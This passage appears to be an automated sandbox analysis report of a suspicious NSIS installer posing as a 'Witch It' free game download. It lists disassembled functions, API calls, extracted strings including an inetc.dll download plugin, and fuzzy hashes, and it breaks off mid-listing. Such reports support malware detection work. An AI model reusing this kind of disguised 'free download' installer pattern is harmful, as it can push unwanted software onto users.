Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,Witch It Free Download v126 Online.exe,NSIS Error), ref: 00405B73

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Strings

C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp, xrefs: 0040177E, 004017ED, 0040180B
C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll, xrefs: 00401801, 0040181D
get, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp$C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll$get
API String ID: 1941528284-3988815700
Opcode ID: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction ID: ca24b6133afb507e547736dc5ab02d451b7f1a2d30e0a517c5ad6537af4b780a
Opcode Fuzzy Hash: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction Fuzzy Hash: 8441C131900515BBCB10BFB5DD46EAF3A79EF01369B24433BF511B11E1D63C9A418AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Strings

Completed, xrefs: 00404F24, 00404F36, 00404F3C, 00404F5F, 00404F6B

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction ID: 33d69ec58002f5e3cec48cf4aa7ac502a1da6879986bf9ca4026f821734cd723
Opcode Fuzzy Hash: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction Fuzzy Hash: C4219D71A00108BBDF119FA5CD849DEBFB9EB49354F14807AFA04B6290C3389E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402F18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00409130,00000000,00000000,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402F3F
ReadFile.KERNEL32(00409130,00000004,0000B5E4,00000000,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130), ref: 00402F6C
ReadFile.KERNEL32(00413040,00004000,0000B5E4,00000000,00409130,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FC6
WriteFile.KERNEL32(00000000,00413040,0000B5E4,000000FF,00000000,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FDE

Strings

@0A, xrefs: 00402FA6
ws7, xrefs: 00402F34, 00402F82, 00402FF6, 0040302B

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$Read$PointerWrite
String ID: @0A$ws7
API String ID: 2113905535-2060391893
Opcode ID: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction ID: f0f891dec1baa82fcb152a6e3a42d02399587e043c2e4755ce28507b82245ee9
Opcode Fuzzy Hash: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction Fuzzy Hash: 3F315731501249EBDB21CF55DD40A9E7FBCEB843A5F20407AFA05A6190D3789F81DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403043 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403058

Part of subcall function 004031F1: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000), ref: 0040308B
WriteFile.KERNEL32(0040B040,00412391,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403145
SetFilePointer.KERNEL32(00377377,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403197

Strings

HE6, xrefs: 00403097, 00403104
ws7, xrefs: 00403047, 00403175
@0A, xrefs: 004030B8

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: @0A$HE6$ws7
API String ID: 2146148272-2780329394
Opcode ID: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction ID: c862c83604f3b109b9ae356e59bf9e99270c6d64ee518f880403d0392c1b0dc8
Opcode Fuzzy Hash: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction Fuzzy Hash: 4B41ABB25042029FD710CF29EE4096A7FBDF748356705423BE501BA2E1CB3C6E099B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Strings

?B, xrefs: 00401FC7

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: ?B
API String ID: 2987980305-117478770
Opcode ID: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction ID: 83c29b7dad20212888764ed045f323035a642c1bbb84e8da84d377f5f563bf0e
Opcode Fuzzy Hash: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction Fuzzy Hash: D621EE72D04216EBCF207FA4DE49A6E75B06B44399F204237F511B52E0D77C4D41965E

Uniqueness

Uniqueness Score: -1.00%

Function 0040586C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040587F
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 00405899

Strings

nsa, xrefs: 00405878
"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe", xrefs: 00405873
C:\Users\user\AppData\Local\Temp\, xrefs: 0040586C, 0040586F

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3849558031
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 7bdb262dbebad2fb51735791196b4a750b565e3ebaa120aaaad2cbe3184e43fd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: B1F0A73734820876E7105E55DC04B9B7F9DDF91760F14C027FE44DA1C0D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction ID: 67abd366a37910a3fb0c7fe19d632a25016d3899897cc5a5bd850e91adcb6683
Opcode Fuzzy Hash: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction Fuzzy Hash: B721C4B1A44209BFEF01AFB4CE4AAAE7B75EF44344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 004053C6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SearchPathW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A8,Error launching installer), ref: 004053EB
CloseHandle.KERNEL32(?), ref: 004053F8

Strings

Error launching installer, xrefs: 004053D9
C:\Users\user\AppData\Local\Temp\, xrefs: 004053C6

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CloseHandlePathSearch
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 4258352748-4043152584
Opcode ID: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction ID: 069b69ca15cd8b990da55ccc95fe3be7356009797bdfa18ab8f6d6c8c96e71ef
Opcode Fuzzy Hash: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction Fuzzy Hash: A3E0ECB4A00219BFDB00AF64ED49AAB7BBDEB00305F90C522A911E2150D775D8118AB9

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 004056ED: CharNextA.USER32(0040549F,?,004218A8,00000000,00405751,004218A8,004218A8,?,?,76232EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",76232EE0), ref: 004056FB
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 00405700
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 0040570F

CreateDirectoryA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNEL32(00000000,00429800,00000000,00000000,000000F0), ref: 00401622

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction ID: c38907cd9fbddcdb820990ab727de55d75fa8bca08f123d111df4852c942a759
Opcode Fuzzy Hash: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction Fuzzy Hash: 7E010431D08141AFDB216F751D4497F27B0AA56369728073FF891B22E2C63C0942962E

Uniqueness

Uniqueness Score: -1.00%

Function 00403208 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00403229

Strings

1033, xrefs: 00403230
C:\Users\user\AppData\Local\Temp\, xrefs: 00403209, 0040320E, 00403214, 00403220, 00403228, 0040322F

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3512041753
Opcode ID: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction ID: 28437e5e833f6c5712a3d87292ca06883de7807d6adf700678bf42288e0e849f
Opcode Fuzzy Hash: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction Fuzzy Hash: 11D0C922656E3032C651363A3C0AFDF091C8F5271AF55847BF908B40D64B6C5A5259EF

Uniqueness

Uniqueness Score: -1.00%

Function 00406566 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction ID: 319d18918fa2cc3741333e20ed782d5c303dd2f769888eebbc994f2124d7c2e6
Opcode Fuzzy Hash: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction Fuzzy Hash: 29A15171E00229CBDF28CFA8C8547ADBBB1FF44305F15812AD856BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406767 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction ID: 868f2ec1f3ea74d7de1394d818727f69d5aca31e92bf34b5737afca42cfaef71
Opcode Fuzzy Hash: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction Fuzzy Hash: 6E913171D00229CBEF28CF98C8547ADBBB1FF44305F15812AD856BB281C7789A9ADF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040647D Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction ID: e06b97397237a54a8f7c6fae7a0c48c933f493286525731b7b3672fa0d973436
Opcode Fuzzy Hash: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction Fuzzy Hash: 678155B1D00229CFDF24CFA8C8447ADBBB1FB44305F25816AD456BB281D7789A96CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405F82 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction ID: 3ccfc7c80e99de65fa6db0e0edc8679980b1d0ea62cd2807200041591328ae3c
Opcode Fuzzy Hash: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction Fuzzy Hash: D98187B1D00229CBDF24CFA8C8447AEBBB1FB44305F11816AD856BB2C1C7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004063D0 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
